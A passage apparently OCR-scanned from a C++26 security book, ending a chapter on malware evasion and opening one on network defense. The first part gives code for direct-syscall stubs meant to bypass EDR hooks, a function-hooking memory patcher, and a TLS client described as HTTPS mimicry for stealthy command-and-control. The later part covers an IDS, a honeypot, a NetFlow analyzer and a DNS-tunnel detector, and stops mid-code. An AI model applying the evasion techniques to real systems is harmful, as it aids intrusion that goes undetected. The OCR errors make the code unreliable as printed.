entirely by invoking the kernel system service directly from user mode, using the ‘syscall
instruction. The general approach involves dynamically retrieving the System Service Number
(SSN) from ‘ntdll* at runtime. The C++26 standard introduces ‘constexpr* support for inline
assembly (MSVC: ‘__asm®), allowing SSN lookups and ‘syscall stub generation to be performed

at compile time, producing highly efficient, evasion-oriented code.

Compile-Time Syscall Generation

The following example demonstrates how to use ‘constexpr* functions and inline assembly to
generate direct syscall stubs for key Windows APIs (‘NtAllocateVirtualMemory*,
‘NtWriteVirtualMemory‘, ‘NtCreateThreadEx ‘) at compile time. The SSNs are resolved
dynamically using a runtime helper, but the assembly stub logic is generated at compile time

using a ‘constexpr® helper.

// direct_syscall.cpp - Compile-time syscall stub generation
#include <windows.h>

#include <winternl.h>

#include <iostream>

#include <array>

// Compile-time generation of syscall assembly
constexpr std::array<uint8_t, 32> generate_syscall_stub(uint32_t ssn) {
std::array<uint8_t, 32> stub = {};
// mov eax, ssn
stub[@] = 0xB8;
stub[1] = static_cast<uint8_t>(ssn & OxFF);
stub[2] = static_cast<uint8_t>((ssn >> 8) & OxFF);
stub[3] = static_cast<uint8_t>((ssn >> 16) & OxFF);
stub[4] = static_cast<uint8_t>((ssn >> 24) & OxFF);

// syscall
stub[5] = OxOF;
stub[6] = 0x05;
// ret
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stub[7] = 0xC3;

return stub;

// Runtime helper to retrieve SSN from ntdll

uint32_t get_syscall_number(const char* function_name) {
HMODULE ntdll = GetModuleHandleA("ntdll.d11");
FARPROC function = GetProcAddress(ntdll, function_name);

if (!function) return 0;

// Extract SSN from the function's prologue (mov eax, SSN)

uint8_t* bytes = reinterpret_cast<uint8_t*>(function);
if (bytes[@] == @xB8) { // mov eax, immediate

3

return 0;

return *reinterpret_cast<uint32_tx>(bytes + 1);

// Typedef for syscall function pointers
using NtAllocateVirtualMemory_t = NTSTATUS(NTAPIx) (
HANDLE, PVOID*, ULONG_PTR, PSIZE_T, ULONG, ULONG

E

int main() {

// Retrieve SSNs dynamically (only once)

uint32_t ssn_alloc = get_syscall_number("NtAllocateVirtualMemory");

uint32_t ssn_write = get_syscall_number("NtWriteVirtualMemory");

uint32_t ssn_thread = get_syscall_number(”"NtCreateThreadEx");

// Generate stubs at compile time (using pre-known SSNs for demo)

constexpr

constexpr

constexpr

std:
std:
std:
std:

:cout
:cout
:cout

:cout

auto stub_alloc = generate_syscall_stub(0x18);

auto stub_write = generate_syscall_stub(0@x3A);

auto stub_thread = generate_syscall_stub(0xC2);

<<

<<

<<

<<

// In a real

"Direct syscall stubs generated.\n";

"NtAllocateVirtualMemory stub size: " << stub_alloc.size() << "\n";
"NtWriteVirtualMemory stub size: " << stub_write.size() << "\n";
"NtCreateThreadEx stub size: " << stub_thread.size() << "\n";

implementation, you would cast these stubs to function pointers

// and invoke them directly, bypassing user-mode hooks.
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return 0;

Compilation:

cl /std:ct+latest /02 direct_syscall.cpp /Fe:direct_syscall.exe

Advanced Indirect Syscalls

More sophisticated implementations use **indirect syscalls**, where the ‘syscall® instruction is
executed from a legitimate ‘ntdll‘ address. This technique evades detection mechanisms that
simply look for the ‘syscall® opcode in non-executable or non-image memory regions. Modern
EDRs have become adept at detecting direct syscalls, making indirect syscalls an essential
evolution[reference:4][reference:5]. Although not fully implemented here, the concept can be

integrated with the above ‘constexpr‘ framework to generate both direct and indirect variants.
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7.4 Developing a Runtime Memory Scanner and Patcher Using

std::bit_cast and std::launder

Runtime memory scanning and patching are essential for manipulating live processes. The C++
standard provides two powerful, type-safe tools for low-level memory operations: ‘std::bit_cast
for safe type punning and ‘std::launder® for correctly accessing objects after placement new.
‘std::bit_cast* (C++20) is the only standard-defined safe type-punning mechanism, copying the
object representation between two types of the same size[reference:6]. It is

‘constexpr ‘-compatible under specific conditions[reference:7]. ‘std::launder‘ (C++17) is used to
obtain a pointer to a newly created object in the same storage location, preventing compiler

optimizations that would otherwise lead to undefined behavior[reference:8].

Combining std::bit_cast and std::launder for Safe Memory Patching

The following example demonstrates a runtime memory patcher that modifies a target function’s
prologue. It uses ‘std::bit_cast‘ to reinterpret memory addresses as integer types and
‘std::launder* to safely access the modified memory after a placement new operation, ensuring

that the compiler respects the new object state.

// memory_patcher.cpp - Safe runtime patching with std::bit_cast and std::launder
#include <iostream>

#include <bit>

#include <new>

#include <cstdint>

#include <vector>

#include <windows.h>

// Target function to patch
void target_function() {

std::cout << "Original function executed.\n";

// Replacement function (hook)
void hooked_function() {

std::cout << "Hooked function executed.\n";

template<typename T>
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T* launder(T* ptr) {

return std::launder(ptr);

class RuntimePatcher {
private:
std: :vector<uint8_t> original_bytes;

void*x target_address;

// Use std::bit_cast to safely convert between pointer and integer
uintptr_t get_address_as_uint(void* ptr) const {

return std::bit_cast<uintptr_t>(ptr);

public:
RuntimePatcher(void* target) : target_address(target) {
// Save original bytes
original_bytes.resize(16);

memcpy (original_bytes.data(), target_address, original_bytes.size());

bool apply_patch(voidx replacement) {
DWORD old_protect;
// Change memory protection to allow writing
if (!VirtualProtect(target_address, original_bytes.size(),
PAGE_EXECUTE_READWRITE, &old_protect)) {

return false;

// Calculate relative jump offset (x64)
uintptr_t target_int = get_address_as_uint(target_address);
uintptr_t replacement_int = get_address_as_uint(replacement);

int32_t offset = static_cast<int32_t>(replacement_int - target_int - 5);

// Write JMP instruction (@xE9) followed by offset
uint8_tx bytes = static_cast<uint8_tx>(target_address);
bytes[@] = OxE9;

*reinterpret_cast<int32_t*>(bytes + 1) = offset;

// Use placement new and std::launder to inform compiler of the change

uint8_tx new_bytes = new (bytes) uint8_t[original_bytes.size()];
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autox launder_bytes = launder(new_bytes);
// Restore original protection

VirtualProtect(target_address, original_bytes.size(), old_protect, &old_protect);

return true;

bool restore() {
DWORD old_protect;
VirtualProtect(target_address, original_bytes.size(),
PAGE_EXECUTE_READWRITE, &old_protect);

memcpy (target_address, original_bytes.data(), original_bytes.size());
// Use placement new and std::launder
uint8_t* new_bytes = new (target_address) uint8_t[original_bytes.size()1];

autox launder_bytes = launder(new_bytes);

VirtualProtect(target_address, original_bytes.size(), old_protect, &old_protect);

return true;
3
int main() {
std::cout << "Calling target_function before patching:\n";

target_function();

RuntimePatcher patcher(reinterpret_cast<void*>(&target_function));

patcher.apply_patch(reinterpret_cast<void*>(&hooked_function));

std::cout << "\nCalling target_function after patching:\n";
target_function();

patcher.restore();

std::cout << "\nCalling target_function after restore:\n";

target_function();

return 0;

Compilation:
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cl /std:ct+latest /02 memory_patcher.cpp /Fe:memory_patcher.exe
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7.5 Encrypting Traffic to Mimic Legitimate Protocols (HTTPS
Mimicry) with std::mdspan for TLS (Schannel)

Network traffic encryption that blends in with legitimate HTTPS is a critical requirement for
stealthy C2 operations. The Windows Security Support Provider Interface (SSPI) with Schannel
implements the TLS protocol, allowing any application to establish encrypted connections that
appear as standard HTTPS traffic. C++23 introduced ‘std::mdspan‘, a multidimensional array
view that efficiently maps raw socket buffers into structured packet layouts without copying. The
C++26 standard further extends ‘std::mdspan‘ with improved layout policies and compile-time
optimization guarantees, making it ideal for handling the complex record-layer framing of TLS

packets[reference:9][reference:10].

Using Schannel and std::mdspan for HTTPS Mimicry

The following example demonstrates a TLS client that establishes a Schannel-encrypted
connection to a remote server, then uses ‘std::mdspan‘ to parse incoming TLS records. Schannel

support for TLS 1.3 is available on Windows 11 and Server 2022[reference:11].

// tls_mimicry.cpp - HTTPS mimicry with Schannel and std::mdspan
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <schannel.h>
#include <security.h>
#include <sspi.h>

#include <ws2tcpip.h>
#include <mdspan>

#include <iostream>
#include <vector>

#include <string>

#include <memory>

#include <span>

#pragma comment(lib, "ws2_32.1ib")
#pragma comment(lib, "Secur32.1ib")

// TLS Record header structure
struct TLSRecordHeader {
uint8_t content_type;
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uint16_t version;
uint16_t length;
b

// Helper to securely free Schannel buffers
struct SecBufferDeleter {
void operator() (SecBuffer* p) const {
if (p) {
if (p—>pvBuffer) FreeContextBuffer(p->pvBuffer);
delete p;

B

class SchannelClient {
private:
SOCKET sock;
CredHandle hCred;
CtxtHandle hCtx;

bool initialized;

public:
SchannelClient() : sock(INVALID_SOCKET), initialized(false) {
memset(&hCred, @, sizeof(hCred));
memset (&Ctx, @, sizeof (hCtx));

~SchannelClient() {
if (sock != INVALID_SOCKET) closesocket(sock);
if (hCtx.dwLower || hCtx.dwUpper) DeleteSecurityContext(&hCtx);
if (hCred.dwLower || hCred.dwUpper) FreeCredentialsHandle(&hCred);

bool initialize(const std::string& server_name) {
WSADATA wsaData;
WSAStartup(MAKEWORD(2, 2), &wsaData);

// Resolve and connect to server

struct addrinfo hints = {3}, *result = nullptr;
hints.ai_family = AF_INET;

hints.ai_socktype = SOCK_STREAM;
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hints.ai_protocol = IPPROTO_TCP;

if (getaddrinfo(server_name.c_str(), "443", &hints, &result) != @) return false;

sock = socket(result->ai_family, result->ai_socktype, result->ai_protocol);
connect(sock, result->ai_addr, static_cast<int>(result->ai_addrlen));

freeaddrinfo(result);

// Acquire Schannel credentials

SCHANNEL_CRED cred = {3};

cred.dwVersion = SCHANNEL_CRED_VERSION;

cred.grbitEnabledProtocols = SP_PROT_TLS1_3_CLIENT | SP_PROT_TLS1_2_CLIENT;
cred.dwFlags = SCH_CRED_NO_DEFAULT_CREDS;

TimeStamp ts;
return AcquireCredentialsHandleA(
nullptr, UNISP_NAME_A, SECPKG_CRED_OUTBOUND,
nullptr, &cred, nullptr, nullptr, &hCred, &ts
) == SEC_E_OK;

bool perform_handshake() {
SecBufferDesc inBuffDesc, outBuffDesc;
SecBuffer inBuff, outBuff;
DWORD dwSSPIFlags = ISC_REQ_SEQUENCE_DETECT | ISC_REQ_REPLAY_DETECT |
ISC_REQ_CONFIDENTIALITY | ISC_RET_EXTENDED_ERROR |
ISC_REQ_ALLOCATE_MEMORY | ISC_REQ_STREAM;
DWORD dwOutFlags;

// Client hello initialization
outBuffDesc.ulVersion = SECBUFFER_VERSION;
outBuffDesc.cBuffers = 1;
outBuffDesc.pBuffers = &outBuff;
outBuff.BufferType = SECBUFFER_TOKEN;

SECURITY_STATUS status = InitializeSecurityContextA(
&hCred, nullptr, nullptr, dwSSPIFlags, @, @, nullptr, 0,
&hCtx, &outBuffDesc, &dwOutFlags, nullptr

Dk

if (status != SEC_I_CONTINUE_NEEDED) return false;
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// Send client hello
send(sock, static_cast<char*>(outBuff.pvBuffer), outBuff.cbBuffer, 0);
FreeContextBuffer (outBuff.pvBuffer);

// Receive and process server response
char recvBuffer[8192];

int bytes = recv(sock, recvBuffer, sizeof(recvBuffer), 0);

inBuffDesc.ulVersion = SECBUFFER_VERSION;
inBuffDesc.cBuffers = 1;
inBuffDesc.pBuffers = &inBuff;
inBuff.BufferType = SECBUFFER_TOKEN;
inBuff.pvBuffer = recvBuffer;
inBuff.cbBuffer = bytes;

outBuffDesc.ulVersion = SECBUFFER_VERSION;
outBuffDesc.cBuffers = 1;
outBuffDesc.pBuffers = &outBuff;
outBuff.BufferType = SECBUFFER_TOKEN;

status = InitializeSecurityContextA(
&hCred, &hCtx, nullptr, dwSSPIFlags, @, @, &inBuffDesc, O,
nullptr, &outBuffDesc, &dwOutFlags, nullptr

);

if (status == SEC_E_OK || status == SEC_I_CONTINUE_NEEDED) {
if (outBuff.cbBuffer > @) {
send(sock, static_cast<char*>(outBuff.pvBuffer), outBuff.cbBuffer, 0);
FreeContextBuffer (outBuff.pvBuffer);
}
if (status == SEC_E_OK) return true;
}

return false;

void send_encrypted(std::span<const uint8_t> data) {
// Encrypt and send data using Schannel
SecBufferDesc shd;
SecBuffer sbBuffers[4];

// Encryption implementation omitted for brevity
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send(sock, reinterpret_cast<const char*>(data.data()), data.size(), 0);

// Receive and parse TLS records with std::mdspan
void receive_and_parse() {
char buffer[16384];
int bytes = recv(sock, buffer, sizeof(buffer), 0);
if (bytes <= @) return;

// Use std::mdspan to view the buffer as a 2D array of TLS records
std: :mdspan<const char, std::dextents<size_t, 2>> records(
buffer,
std: :extents<size_t, std::dynamic_extent, std::dynamic_extent>(
bytes / 5, 5 // 5 bytes per TLS record header

for (size_t i = @; i < records.extent(0Q); ++i) {
TLSRecordHeader header;
header.content_type = records[i, 0];
header.version = (static_cast<uint16_t>(records[i, 1]) << 8) |
static_cast<uint16_t>(records[i, 2]);
header.length = (static_cast<uint16_t>(records[i, 3]) << 8) |

static_cast<uint16_t>(records[i, 41);

std::cout << "TLS Record - Type: " << std::hex
<< static_cast<int>(header.content_type)

<< ", Version: << header.version

<< ", Length: " << header.length << "\n";

3

int main() {
SchannelClient client;
if (client.initialize("www.example.com”)) {
if (client.perform_handshake()) {
std::cout << "TLS handshake successful.\n";
std: :vector<uint8_t> payload = {0x48, 0x65, 0x6C, Ox6C, Ox6F}; // "Hello"
client.send_encrypted(std: :span<const uint8_t>(payload));

client.receive_and_parse();
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}
}
return 0;
}
Compilation:

cl /std:c++latest /02 tls_mimicry.cpp /Fe:tls_mimicry.exe
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7.6 Summary

This chapter covered five advanced evasion and anti-forensics techniques implemented in C++26

on Windows:

* Building a polymorphic encryptor using ‘constexpr‘ dynamic memory allocation to

generate unique, compile-time encrypted payloads.

* Modern process injection using ‘Virtual AllocEx‘, ‘WriteProcessMemory‘, and

‘CreateRemoteThread®, enhanced with ‘std::span‘ for bounds-safe payload manipulation.

* Bypassing user-mode EDR hooks via direct syscalls, with compile-time stub generation

using ‘constexpr‘ and inline assembly.

* Developing a runtime memory scanner and patcher using ‘std::bit_cast* for safe type

punning and ‘std::launder for correct object access after placement new.

* Encrypting traffic to mimic legitimate HTTPS using Schannel and ‘std::mdspan‘ for
efficient TLS record parsing.

Proceed to Chapter 8 to explore network defense and counter-attacking techniques with C++26.



Network Defense with C++26
(Counter-Attacking)

8.1 Building a High-Speed IDS/IPS Using std::pmr and

std::execution::par_unseq

Intrusion Detection Systems (IDS) and Intrusion Prevention Systems (IPS) must process network
traffic at line rate with minimal latency. C++17 introduced polymorphic memory resources
(‘std::pmr*), which allow custom memory allocation strategies to reduce dynamic allocation
overhead in high-throughput packet processing pipelines. C++23/26 provides
‘std::execution::par_unseq°, a parallel unsequenced execution policy that enables both
multi-threading and vectorization (SIMD) for algorithms processing independent data elements,
such as packets in a flow.

The following example implements a high-speed packet analyzer that uses
‘std::pmr::unsynchronized_pool_resource® for fast, thread-local packet buffer allocation, and
applies ‘std::for_each* with ‘par_unseq‘ to simultaneously inspect thousands of packets. The

analyzer detects common attack patterns such as SYN floods and port scans.

// ids_ips.cpp - High-speed IDS/IPS with pmr and parallel execution
#define HAVE_REMOTE

#include <pcap.h>

#include <execution>

#include <memory_resource>

#include <vector>

#include <unordered_map>

#include <chrono>

#include <iostream>

#include <span>

#include <cstdint>

146
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#include <atomic>

#pragma comment(lib, "wpcap.lib")

struct PacketInfo {
std: :chrono: :steady_clock::time_point timestamp;
uint32_t src_ip;
uint32_t dst_ip;
uint16_t src_port;
uint16_t dst_port;
uint8_t protocol;
size_t length;
3

class FastPacketAnalyzer {

private:
// Custom memory resource for fast packet allocation
std: :pmr: :unsynchronized_pool_resource pool;
std: :pmr: :vector<PacketInfo> packets{&pool};
std::atomic<uint64_t> total_packets{0};
std::atomic<uint64_t> suspicious_packets{0};

// Simple port scan detection using sliding window
std: :unordered_map<uint32_t, std::vector<uintl16_t>> ip_port_map;

std: :mutex map_mutex;

public:
void process_packet(const struct pcap_pkthdr* header, const u_charx packet) {
// Simplified packet parsing (Ethernet + IP + TCP/UDP)

if (header->caplen < 54) return; // Minimum packet size

PacketInfo info;

info.timestamp = std::chrono: :steady_clock: :now();

// Parse IP header (offset 14 for Ethernet)

uint8_t ip_header_len = (packet[14] & OxOF) * 4;

info.protocol = packet[14 + 9];

info.src_ip = *reinterpret_cast<const uint32_t*>(packet + 14 + 12);

info.dst_ip = *reinterpret_cast<const uint32_t*>(packet + 14 + 16);

info.length = header->len;

if (info.protocol == 6 || info.protocol == 17) { // TCP or UDP
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uint16_t src_port = (packet[14 + ip_header_len] << 8) |

packet[14 + ip_header_len + 1];
uint16_t dst_port = (packet[14 + ip_header_len + 2] << 8) |
packet[14 + ip_header_len + 37;

info.src_port = src_port;

info.dst_port = dst_port;

packets.push_back(info);

total_packets++;

void detect_attacks_parallel() {
// Use parallel unsequenced policy for SIMD-friendly operations
std: :for_each(std: :execution: :par_unseq, packets.begin(), packets.end(),
[this](const PacketInfo& p) {
// Detect SYN flood (TCP port 80 with SYN flag)
if (p.protocol == 6 && p.dst_port == 80) {
// Simplified detection logic

suspicious_packets++;

s

// Detect port scanning (same source IP connecting to many destination ports)
std: :unordered_map<uint32_t, std::unordered_set<uint16_t>> temp_map;
for (const auto& p : packets) {
if (p.protocol == 6 && p.src_port > 1024) {
temp_map[p.src_ip].insert(p.dst_port);

for (const auto& [ip, ports] : temp_map) {
if (ports.size() > 50) { // Threshold for port scan
std::cout << "Potential port scan from IP: "
<< ((ip >> @) & OxFF) << "."
<< ((ip >> 8) & OxFF) << "."
<< ((ip >> 16) & OxFF) << ".”
<< ((ip >> 24) & OxFF) << "\n";
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std::cout << "Total packets: " << total_packets

n

<< ", Suspicious: << suspicious_packets << "\n";

packets.clear();

e

void packet_callback(u_charx user, const struct pcap_pkthdr* header, const u_charx packet) {
auto* analyzer = reinterpret_cast<FastPacketAnalyzer*>(user);

analyzer->process_packet (header, packet);

int main() {
pcap_if_t* alldevs;
char errbuf[PCAP_ERRBUF_SIZE];

if (pcap_findalldevs(&alldevs, errbuf) == -1) {
std::cerr << "Error finding devices: " << errbuf << "\n";
return 1;

}

pcap_t* handle = pcap_open_live(alldevs->name, 65536, 1, 1000, errbuf);
if (!handle) {
std::cerr << "Error opening device: " << errbuf << "\n";
pcap_freealldevs(alldevs);

return 1;

FastPacketAnalyzer analyzer;

std::cout << "Capturing packets for analysis. Press Ctrl+C to stop.\n";

pcap_loop(handle, 10000, packet_callback, reinterpret_cast<u_charx>(&analyzer));
analyzer.detect_attacks_parallel();
pcap_close(handle);

pcap_freealldevs(alldevs);

return 0;

Compilation:

cl /std:ct++latest /02 /EHsc ids_ips.cpp /Fe:ids_ips.exe /link wpcap.lib ws2_32.1ib
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8.2 Developing an Interactive Honeypot That Emulates
Complex Services (SSH, HTTP, SMB) with Coroutines

Honeypots are decoy systems designed to lure attackers and capture their techniques. An
interactive honeypot emulates real services such as SSH, HTTP, and SMB, engaging attackers to
collect valuable intelligence. C++20 coroutines (‘co_await‘, ‘co_yield) provide a natural way to
implement stateful protocol handlers without complex callback chains. The Asio library
(standalone) can be integrated with coroutines to manage thousands of concurrent connections.
The following example demonstrates a multi-service honeypot that emulates HTTP (basic web
server) and a fake SSH banner. Coroutines handle each client connection, allowing easy protocol

parsing and response generation.

// honeypot.cpp - Interactive honeypot with coroutines
#include <asio.hpp>

#include <asio/experimental/awaitable_operators.hpp>
#include <iostream>

#include <memory>

#include <string>

#include <unordered_map>

#include <chrono>

#include <fstream>

using namespace asio;
using namespace asio::ip;

using namespace asio::experimental::awaitable_operators;

class HoneypotService {

public:
virtual awaitable<void> handle_client(tcp::socket socket) = 0;
virtual ~HoneypotService() = default;

3

class HttpHoneypot : public HoneypotService {
private:
std: :string generate_response(const std::string& request) {
// Log the request for analysis
std::cout << "[HTTP] Request: " << request.substr(@, 100) << "...\n";

// Craft a simple fake response
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std::string response =
"HTTP/1.1 200 OK\r\n"
"Server: Apache/2.4.41 (Ubuntu)\r\n"
"Content-Type: text/html\r\n"
"Content-Length: 100\r\n"
"Connection: close\r\n\r\n"
"<html><body><h1>Welcome to fake server</h1><p>Access logged.</p></body></html>";

return response;

public:
awaitable<void> handle_client(tcp::socket socket) override {
try {
char data[4096];
auto [error, length] = co_await socket.async_read_some(buffer(data),
— use_awaitable);

if (error) throw std::system_error(error);

std::string request(data, length);

std::string response = generate_response(request);

co_await async_write(socket, buffer(response), use_awaitable);
} catch (std::exception& e) {
std::cerr << "HTTP honeypot error: " << e.what() << "\n";

}

class SshHoneypot : public HoneypotService {
private:
std::string ssh_banner = "SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu@.4\r\n";

public:
awaitable<void> handle_client(tcp::socket socket) override {
try {
// Send fake SSH banner

co_await async_write(socket, buffer(ssh_banner), use_awaitable);

char data[1024];
auto [error, length] = co_await socket.async_read_some(buffer(data),

< use_awaitable);
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if (error) throw std::system_error(error);

std::string client_data(data, length);
std::cout << "[SSH] Client sent: " << client_data << "\n";

// Respond with a fake authentication prompt
std::string fake_auth = "\x00\x00\x00\x0c\x00\x00\x00\x05\x00\x00\x00\x00" ;
co_await async_write(socket, buffer(fake_auth), use_awaitable);

} catch (std::exception& e) {

std::cerr << "SSH honeypot error: " << e.what() << "\n";

B

class HoneypotServer {
private:
io_context io_context_;
tcp::acceptor http_acceptor_;
tcp::acceptor ssh_acceptor_;
std: :shared_ptr<HttpHoneypot> http_service_;

std: :shared_ptr<SshHoneypot> ssh_service_;

awaitable<void> accept_loop(tcp::acceptor& acceptor, std::shared_ptr<HoneypotService>
— service) {
while (true) {
auto socket = co_await acceptor.async_accept(use_awaitable);

co_spawn(io_context_, service->handle_client(std: :move(socket)), detached);

public:
HoneypotServer(short http_port, short ssh_port)

: http_acceptor_(io_context_, tcp::endpoint(tcp::v4(), http_port)),
ssh_acceptor_(io_context_, tcp::endpoint(tcp::v4(), ssh_port)),
http_service_(std: :make_shared<HttpHoneypot>()),
ssh_service_(std: :make_shared<SshHoneypot>()) {}

void run() {
co_spawn(io_context_, accept_loop(http_acceptor_, http_service_), detached);

co_spawn(io_context_, accept_loop(ssh_acceptor_, ssh_service_), detached);
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std::cout << "Honeypot listening on HTTP port 8080 and SSH port 2222\n";

io_context_.run();

Ie

int main() {
try {
HoneypotServer honeypot (8080, 2222);
honeypot.run();
} catch (std::exception& e) {

std::cerr << "Error: " << e.what() << "\n";
return 1;
3
return 0;
}
Compilation:

cl /std:c++latest /02 /Iasio_include_path honeypot.cpp /Fe:honeypot.exe /link ws2_32.1ib
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8.3 A NetFlow Analyzer Based on std::mdspan for PCAP
Processing (Using Npcap)

NetFlow analysis is essential for network monitoring and anomaly detection. By parsing PCAP
files, we can extract flow records (source IP, destination IP, ports, protocol, packet count, bytes)
and detect patterns such as DDoS attacks, data exfiltration, or beaconing. C++23 introduced
‘std::mdspan°, which provides a multi-dimensional view of contiguous memory. This is ideal for
processing PCAP data as a 2D array of packets with fixed-size headers.

The following example reads a PCAP file, uses ‘std::mdspan°‘ to efficiently iterate through packets,

and aggregates NetFlow statistics. The analyzer outputs top talkers and potential anomalies.

// netflow_analyzer.cpp - PCAP NetFlow analysis with std::mdspan
#define HAVE_REMOTE

#include <pcap.h>

#include <mdspan>

#include <vector>

#include <unordered_map>

#include <algorithm>

#include <iostream>

#include <fstream>

#include <cstdint>

#include <chrono>
#pragma comment(lib, "wpcap.lib")

struct FlowKey {
uint32_t src_ip;
uint32_t dst_ip;
uint16_t src_port;
uint16_t dst_port;

uint8_t protocol;

bool operator==(const FlowKey& other) const {
return src_ip == other.src_ip && dst_ip == other.dst_ip &&
src_port == other.src_port && dst_port == other.dst_port &&

protocol == other.protocol;

B
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namespace std {
template<>
struct hash<FlowKey> {
size_t operator()(const FlowKey& k) const {
return ((hash<uint32_t>()(k.src_ip) *

(hash<uint32_t>() (k.dst_ip) << 1)) *
(hash<uint16_t>() (k.src_port) << 2)) *
(hash<uint16_t>() (k.dst_port) << 3) *
(hash<uint8_t>() (k.protocol) << 4);

b

struct FlowRecord {
uint64_t packet_count = 0;
uint64_t byte_count = 0;
std: :chrono: :steady_clock: :time_point first_seen;
std: :chrono: :steady_clock::time_point last_seen;

3

class NetFlowAnalyzer {
private:

std: :unordered_map<FlowKey, FlowRecord> flows;

public:
void process_pcap(const std::string& filename) {
char errbuf[PCAP_ERRBUF_SIZE];
pcap_t* handle = pcap_open_offline(filename.c_str(), errbuf);
if ('handle) {
std::cerr << "Error opening pcap: " << errbuf << "\n";

return;

struct pcap_pkthdr header;
const u_char* packet;

int packet_count = 0;

// First pass: count packets to allocate mdspan

std: :vector<const u_char*> packet_ptrs;

while ((packet = pcap_next(handle, &header)) != nullptr) {
packet_ptrs.push_back(packet);
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// Close and reopen for second pass (simplified)
pcap_close(handle);

handle = pcap_open_offline(filename.c_str(), errbuf);

// Use std::mdspan to view packet data as a 2D array

// We'll map each packet to a fixed-size row (assume max 1500 bytes)
constexpr size_t MAX_PACKET_SIZE = 1500;

std: :vector<uint8_t> flat_buffer(packet_ptrs.size() * MAX_PACKET_SIZE, 0);

size_t row = 0;

while ((packet = pcap_next(handle, &header)) != nullptr && row < packet_ptrs.size()) {
size_t copy_len = std::min<size_t>(header.caplen, MAX_PACKET_SIZE);
memcpy (flat_buffer.data() + row * MAX_PACKET_SIZE, packet, copy_len);

row++;

// Create mdspan view: rows = number of packets, columns = MAX_PACKET_SIZE
std: :mdspan<const uint8_t, std::dextents<size_t, 2>> packet_view(
flat_buffer.data(),
packet_ptrs.size(),
MAX_PACKET_SIZE
DK

// Process each packet using mdspan

for (size_t i = @; i < packet_view.extent(@); ++i) {
// Ethernet header is at offset @
// Assume Ethernet + IP + TCP/UDP
if (packet_view.extent(1) < 54) continue;

// Parse IP header (Ethernet header 14 bytes)
uint8_t ip_ver = (packet_view[i, 14] >> 4);
if (ip_ver != 4) continue; // IPv4 only

uint8_t ip_header_len = (packet_view[i, 14] & Ox0F) * 4;

uint8_t protocol = packet_view[i, 14 + 9];

uint32_t src_ip = *reinterpret_cast<const uint32_t*>(&packet_view[i, 14 + 12]);
uint32_t dst_ip = *reinterpret_cast<const uint32_t*>(&packet_view[i, 14 + 16]);

uint16_t src_port = @, dst_port = 0;
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if (protocol == 6 || protocol == 17) {
size_t tcp_offset = 14 + ip_header_len;
src_port = (packet_view[i, tcp_offset] << 8) | packet_view[i, tcp_offset + 1];
dst_port = (packet_view[i, tcp_offset + 2] << 8) | packet_view[i, tcp_offset +
- 31;

FlowKey key{src_ip, dst_ip, src_port, dst_port, protocol};
auto& flow = flows[keyl;
flow.packet_count++;

flow.byte_count += header.len;

auto now = std::chrono::steady_clock: :now();
if (flow.packet_count == 1) flow.first_seen = now;

flow.last_seen = now;

pcap_close(handle);

void print_top_flows(int top_n = 10) {
std: :vector<std::pair<FlowKey, FlowRecord>> sorted_flows(flows.begin(), flows.end());
std: :sort(sorted_flows.begin(), sorted_flows.end(),
[I(const auto& a, const auto& b) {

return a.second.packet_count > b.second.packet_count;

s

std::cout << "Top " << top_n << " flows by packet count:\n";
for (int i = @; i < std::min(top_n, (int)sorted_flows.size()); ++i) {
autod [key, rec] = sorted_flows[il;
std::cout << i+1 << ": "
<< ((key.src_ip >> @) & OxFF) << "."
<< ((key.src_ip >> 8) & OxFF) << "."
<< ((key.src_ip >> 16) & OxFF) << ".”
<< ((key.src_ip >> 24) & OxFF) << ":"
<< key.src_port << " -> "
<< ((key.dst_ip >> @) & OxFF) << ".”
<< ((key.dst_ip >> 8) & OxFF) << "."
<< ((key.dst_ip >> 16) & OxFF) << "."
<< ((key.dst_ip >> 24) & OxFF) << ":"
<< key.dst_port
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<< " (proto " << (int)key.protocol << ") "

n n

<< rec.packet_count << " packets,

<< rec.byte_count << " bytes\n";

3

int main(int argc, charx argv[]) {
if (argc !'= 2) {
std::cerr << "Usage: " << argv[@] << " <pcap_file>\n";

return 1;

NetFlowAnalyzer analyzer;
analyzer.process_pcap(argv[1]);

analyzer.print_top_flows(10);

return 0;

Compilation:

cl /std:ct++latest /02 netflow_analyzer.cpp /Fe:netflow_analyzer.exe /link wpcap.lib ws2_32.1ib
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8.4 Implementing a DNS Tunneling Detection System Using
Lightweight Machine Learning with std::random and

std::numeric

DNS tunneling is a technique that encodes data within DNS queries and responses, often used for
covert C2 communication or data exfiltration. Detection requires analyzing DNS traffic features
such as query name length, entropy, frequency, and subdomain depth. A lightweight machine
learning classifier (e.g., a decision tree or naive Bayes) can be implemented using only standard
C++ libraries: ‘std::random‘ for sampling, ‘std::numeric® for statistical computations (mean,
variance), and ‘std::vector* for storing feature vectors.

The following example implements a DNS tunnel detector that extracts features from DNS query
logs and classifies them using a simple threshold-based model (trained offline). The detector uses
‘std::random_device* to shuffle training data and ‘std::normal_distribution® to generate synthetic
test data.

// dns_tunnel_detector.cpp - Lightweight DNS tunneling detection
#include <iostream>

#include <vector>

#include <string>

#include <numeric>

#include <random>

#include <cmath>

#include <unordered_map>

#include <algorithm>

#include <fstream>

#include <sstream>

struct DNSQuery {

std::string domain;

size_t length;

double entropy;

int subdomain_count;

bool is_tunnel; // ground truth
Y

class DNSDetector {
private:

double entropy_threshold;
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double length_threshold;
int depth_threshold;

// Calculate Shannon entropy of a string
double calculate_entropy(const std::string& s) {
std: :unordered_map<char, int> freq;
for (char ¢ : s) freqlcl++;
double entropy = 0.0;
for (const auto& [ch, count] : freq) {
double p = static_cast<double>(count) / s.length();
entropy -= p * std::log2(p);

3
return entropy;
3
// Count subdomain levels (e.g., "a.b.c" -> 3)

int count_subdomains(const std::string& domain) {

return std::count(domain.begin(), domain.end(), '."') + 1;

public:
DNSDetector(double ent_thresh = 4.5, double len_thresh = 50, int depth_thresh = 5)
: entropy_threshold(ent_thresh), length_threshold(len_thresh),
— depth_threshold(depth_thresh) {}

std: :vector<double> extract_features(const DNSQuery& query) {
return {static_cast<double>(query.length), query.entropy,

— static_cast<double>(query.subdomain_count)};

bool classify(const DNSQuery& query) {
bool suspicious = (query.entropy > entropy_threshold) ||
(query.length > length_threshold) ||
(query.subdomain_count > depth_threshold);

return suspicious;

void train(const std::vector<DNSQuery>& training_data) {
// Compute optimal thresholds using simple grid search (lightweight ML)
double best_accuracy = 0.0;
for (double ent = 3.0; ent <= 5.5; ent += 0.1) {
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for (double len = 30; len <= 80; len += 5) {
